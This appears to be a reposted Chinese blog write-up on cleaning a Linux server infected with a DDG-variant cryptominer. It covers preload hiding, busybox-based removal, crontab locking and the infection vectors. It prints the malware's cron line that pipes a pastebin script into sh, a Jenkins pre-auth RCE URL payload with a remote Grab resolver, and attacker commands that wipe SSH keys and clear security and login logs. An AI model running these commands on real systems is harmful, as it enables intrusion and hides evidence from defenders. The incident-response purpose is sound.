Linux服务器运行一段时间，出现CPU占用率达到100%卡死
<p>没事整了一个1核2G的便宜服务器，虽说便宜吧，但是搞个博客网站啥的也还是够用了；但是呢，最近服务器过几天就会出先CPU占用率达到100%；系统完全卡死，项目请求一个都访问不了，或者就是超级长时间才能得到应答。一开始还没在意，重启一下服务器就好了，可经常出现，重启也难受啊！后来百度好久才知道可能是被黑了，所以就到处找问题，啥子定时任务，脚本，一个个的看，可以说，把服务器文件结构又熟悉了一遍，终于是找到了一堆垃圾文件，确定了是真的被黑了。其实我还是搞不懂，我这么小个服务器咋也被盯上了。最后通过下面这篇文章解决了问题，特此转载过来分享一下！</p><blockquote>
<p>原文标题：关于Linux下变种DDG挖矿应急处理心得<br>
原文作者： 瓦都剋<br>
原文链接： http://byd.dropsec.xyz/2019/02/23/关于Linux下变种DDG挖矿应急处理心得/</p>
</blockquote>
<h2 id="背景">背景</h2>
<p>春节刚过，黑产团队就开始了新的一年的工作。21日晚上九点多，正准备回家享受快乐时光呢，钉钉就响了，客户应急来了，8台机器感染挖矿木马病毒。根据今天看的默安科技发的文章说是”Linux DDG变种挖矿病毒”，挖矿病毒这两年也处了不少了，但是这次的应急受益匪浅，感触颇深，值得记录一下。</p>
<h2 id="0x00-事件处理过程">0x00 事件处理过程</h2>
<h2 id="0x01-传播途径">0x01 传播途径</h2>
<p>此次事件从网上收集了下，途径不止有被通报的Redis，</p>
<ul>
<li>Jenkins RCE 漏洞</li>
<li>Nexus RCE 漏洞</li>
<li>Redis未授权访问or弱口令</li>
</ul>
<p>然后被感染后受害者会尝试进行对外或内网SSH爆破、Redis探测并入侵</p>
<h2 id="0x02-处理流程">0x02 处理流程</h2>
<h3 id="41获取busybox">4.1、获取busybox</h3>
<p>为什么要获取busybox？这就是此次事件的特别之处，如果你使用top、ps等系统命令是看不到挖矿进程的，因为挖矿病毒修改了系统的动态链接库配置文件<code>/etc/ld.so.preload</code>内容并引用了<code>/usr/local/lib/libioset.so</code>，所以有些运维人员开始top、ps等未查找到异常进程是由于该病毒涉及到 Linux动态链接库预加载机制，是一种常用的进程隐藏方法，而系统的ls，ps等命令已被通过so库的preload机制被病毒劫持, ls会导致<code>/etc/cron.d/root</code>文件被刷写为病毒定时执行命令。</p>
<p>而busybox是静态编译的，不依赖于系统的动态链接库，从而不受<code>ld.so.preload</code>的劫持，能够正常操作文件。</p>
<pre><code>cd /bin/
wget https://busybox.net/downloads/binaries/1.30.0-i686/busybox
chmod 755 busybox
</code></pre>
<p><strong>PS</strong>: 这里跟客户学到个命令，这条命令也是可以显示恶意进程的，有兴趣的可以查查。</p>
<pre><code>perf top -s pid,comm,dso,symbol
</code></pre>
<h3 id="42病毒文件">4.2、病毒文件</h3>
<pre><code>/tmp/ksoftirqds
/tmp/watchdogs
</code></pre>
<h3 id="43关闭crontab">4.3、关闭crontab</h3>
<pre><code>service crond stop
systemctl stop crond
</code></pre>
<h3 id="44修改hosts">4.4、修改hosts</h3>
<p>修改<code>/etc/hosts</code>来屏蔽病毒脚本下载，域名为解密sh文件之后出现的两个域名。</p>
<pre><code>busybox echo -e "\n0.0.0.0 pastebin.com\n0.0.0.0 thyrsi.com" >> /etc/hosts
</code></pre>
<h3 id="45删除创建并锁定-crontab相关文件">4.5、删除，创建，并锁定 crontab相关文件</h3>
<p>使用<code>chattr</code>加<code>i</code>属性来防止文件被修改，查看具有哪些属性使用lsattr</p>
<pre><code>busybox rm /var/spool/cron/root && busybox touch /var/spool/cron/root && busybox chattr +i/var/spool/cron/root
busybox rm /var/spool/cron/crontabs/root && busybox touch /var/spool/cron/crontabs/root && busybox chattr +i /var/spool/cron/crontabs/root
busybox rm /etc/cron.d/root && busybox touch /etc/cron.d/root && busybox chattr +i /etc/cron.d/root
</code></pre>
<h3 id="46备份重要的crontab然后删除crond目录的其他文件">4.6、备份重要的crontab，然后删除cron.d目录的其他文件</h3>
<pre><code>busybox rm -f /etc/cron.d/*
</code></pre>
<h3 id="47检查并删除下面目录是否有异常文件">4.7、检查并删除下面目录是否有异常文件</h3>
<pre><code>busybox ls -al /etc/cron.daily
busybox ls -al /etc/cron.hourly
busybox ls -al /etc/cron.monthly
busybox ls -al /etc/cron.weekly
</code></pre>
<h3 id="48删除病毒相关执行文件和启动脚本">4.8、删除病毒相关执行文件和启动脚本</h3>
<pre><code>busybox find / -type f -name '*watchdogs*' | busybox xargs rm -f
</code></pre>
<h3 id="49删除病毒进程">4.9、删除病毒进程</h3>
<pre><code>busybox pkill watchdogs
busybox pkill ksoftirqds
</code></pre>
<p>也可以使用：</p>
<pre><code>busybox ps -ef | busybox grep -v grep | busybox egrep 'ksoftirqds' | busybox awk '{print $1}' | busybox xargs kill -9
busybox ps -ef | busybox grep -v grep | busybox egrep 'watchdogs' | busybox awk '{print $1}' | busybox xargs kill -9
</code></pre>
<h3 id="410删除被preload的so库">4.10、删除被preload的so库</h3>
<pre><code>busybox rm -f /usr/local/lib/libioset.so
busybox rm -f /etc/ld.so.preload
busybox rm -f /etc/ld.so.cache
</code></pre>
<h3 id="411验证libiosetso被卸载">4.11、验证libioset.so被卸载</h3>
<pre><code>lsof |grep usr/local/lib/libioset.so
echo $LD_PRELOAD
</code></pre>
<p>若结果为空， 则该动态链接库被卸载;</p>
<p>若有输出，kill掉占用的进程，重复执行该步骤;</p>
<p>若反复执行后无法成功卸载该动态链接库，请执行服务重启操作。</p>
<h3 id="412一键清理脚本">4.12、一键清理脚本</h3>
<p>默安科技发了一个一键清理脚本，在此基础上，自己改了改。</p>
<pre><code>wget http://www.w2n1ck.com/clear.sh
</code></pre>
<h2 id="0x03-事件总结">0x03 事件总结</h2>
<p>此次事件客户有9台服务器被感染，其中主要的一台是我们拿到信息之后发现只开放了，Nginx-80和Jenkins-8080，然后就被误导了。。。</p>
<p>首先使用了CVE-2019-1003000-jenkins-rce-poc，但是这个漏洞是需要具有<code>Overall/Read</code>”权限的用户才能完成。然后想起来前两天Orange发了个PreAuth的</p>
<pre><code>Part 1: https://blog.orange.tw/2019/01/hacking-jenkins-part-1-play-with-dynamic-routing.html
Part 2: http://blog.orange.tw/2019/02/abusing-meta-programming-for-unauthenticated-rce.html
</code></pre>
<p>POC：</p>
<pre><code>https://github.com/petercunha/Jenkins-PreAuth-RCE-PoC
URL Payload:
http://<TARGET HOST>/securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.workflow.cps.CpsFlowDefinition/checkScriptCompile
?value=
@GrabConfig(disableChecksums=true)%0a
@GrabResolver(name='payload', root='http://<EXPLOIT HOST>')%0a
@Grab(group='package', module='payload', version='1')%0a
import Payload;
</code></pre>
<p>但是我利用这个POC是可以打成功在shodan上的，但是没办法客户的无法成功，一度相当困惑。</p>
<p>后来看到异常文件：</p>
<p><img src="https://img2018.cnblogs.com/blog/1196304/202002/1196304-20200227211840501-1398691633.png" alt="" loading="lazy"></p>
<p>然后想起来前两天RR大佬也爆了个Nexus的RCE，Nexus Repository Manager 3 RCE 分析 -【CVE-2019-7238】，然后试了下，成功了</p>
<p><img src="https://img2018.cnblogs.com/blog/1196304/202002/1196304-20200227211905574-31294383.png" alt="" loading="lazy"></p>
<p>剩下的几台就是Redis未授权访问导致的了，具体可以参考：未授权访问漏洞总结</p>
<h2 id="彩蛋">彩蛋</h2>
<p>这次应急让我意外的是恶意的下载的sh脚本</p>
<pre><code>*/15 * * * * (curl -fsSL https://pastebin.com/raw/sByq0rym||wget -q -O- https://pastebin.com/raw/sByq0rym)|sh
</code></pre>
<p>访问之后base64解密看到之后相当惊喜：</p>
<pre><code>ps auxf | grep -v grep | grep hwlh3wlh44lh | awk '{print $2}' | xargs kill -9
ps auxf | grep -v grep | grep Circle_MI | awk '{print $2}' | xargs kill -9
ps auxf | grep -v grep | grep get.bi-chi.com | awk '{print $2}' | xargs kill -9
ps auxf | grep -v grep | grep hashvault.pro | awk '{print $2}' | xargs kill -9
ps auxf | grep -v grep | grep nanopool.org | awk '{print $2}' | xargs kill -9
ps auxf | grep -v grep | grep /usr/bin/.sshd | awk '{print $2}' | xargs kill -9
ps auxf | grep -v grep | grep /usr/bin/bsd-port | awk '{print $2}' | xargs kill -9
ps auxf|grep -v grep|grep "xmr" | awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "xig" | awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "ddgs" | awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "qW3xT" | awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "wnTKYg" | awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "t00ls.ru" | awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "sustes" | awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "thisxxs" | awk '{print $2}' | xargs kill -9
ps auxf|grep -v grep|grep "hashfish" | awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "kworkerds" | awk '{print $2}'|xargs kill -9
</code></pre>
<p>这是啥？这本来是攻击者为了让服务器资源都用在自己的挖矿进程上，关闭其他可能存在的挖矿及DDoS木马。</p>
<p>这TM真是良心啊！都不用整理了！以后遇到挖矿的事件拿出来一把梭！！！</p>
<pre><code>chattr -i /etc/cron.d/root
chattr -i /etc/cron.d/system
chattr -i /etc/ld.so.preload
chattr -i /etc/cron.d/apache
chattr -i /var/spool/cron/root
chattr -i /var/spool/cron/crontabs/root
chattr -i /usr/local/bin/dns
chattr -i /usr/sbin/netdns
chattr -i /bin/netstat
rm -rf /etc/cron.d/system /etc/cron.d/apache /etc/cron.hourly/oanacron /etc/cron.daily/oanacron /etc/cron.monthly/oanacron /usr/local/lib/libn
tp.so /etc/init.d/netdns /etc/init.d/kworker /bin/httpdns /usr/local/bin/dns /bin/netstat /usr/sbin/netdns
chkconfig --del kworker
chkconfig --del netdns
p=$(ps auxf|grep -v grep|grep ksoftirqds|wc -l)
if [ ${p} -eq 0 ];then
ps auxf|grep -v grep | awk '{if($3>=80.0) print $2}'| xargs kill -9
fi
</code></pre>
<p>使用chattr解锁相关文件，并删除；清除CPU占用率超过百分之80的进程</p>
<pre><code>if [ -e "/tmp/gates.lod" ]; then
rm -rf $(readlink /proc/$(cat /tmp/gates.lod)/exe)
kill -9 $(cat /tmp/gates.lod)
rm -rf $(readlink /proc/$(cat /tmp/moni.lod)/exe)
kill -9 $(cat /tmp/moni.lod)
rm -rf /tmp/{gates,moni}.lod
fi
</code></pre>
<p>清除billgates挖矿木马相关文件、进程。</p>
<pre><code>echo 0>/root/.ssh/authorized_keys #清除ssh密钥内容
echo 0>/var/spool/mail/root #清除邮件内容
echo 0>/var/log/wtmp #清除登录日志
echo 0>/var/log/secure #清除安全日志
echo 0>/var/log/cron #清除计划任务日志
</code></pre>
<p>总体来说此次挖矿的幕后操作者相当的良心，诚意满满！学到了！</p>
</div>
<div id="MySignature" role="contentinfo">
<div class="div_masklayer" id="div_masklayer"></div>
<div class="autograph" style = "overflow:hidden">
如果，您希望更容易地发现我的博客，不妨收藏关注一下<br>
<div style="font-family: 楷体; font-size: 19px; height: 9px; color: #CF5911">
<b>原创公众号：Java学习之道</b>
<br>
<b> 个人博客： www.mmzsblog.cn</b>
</div>
<br>
<br>
<b>喜欢就推荐一下，因为你的参与是我在写作道路上的最强动力。</b>
<br>
本文版权归作者淼淼之森和博客园共有，欢迎转载。
<br>
但须在文章页面明显位置给出原文连接，否则保留追究法律责任的权利。
</div><br><br>
来源：https://www.cnblogs.com/mmzs/p/12374766.html
頁:
[1]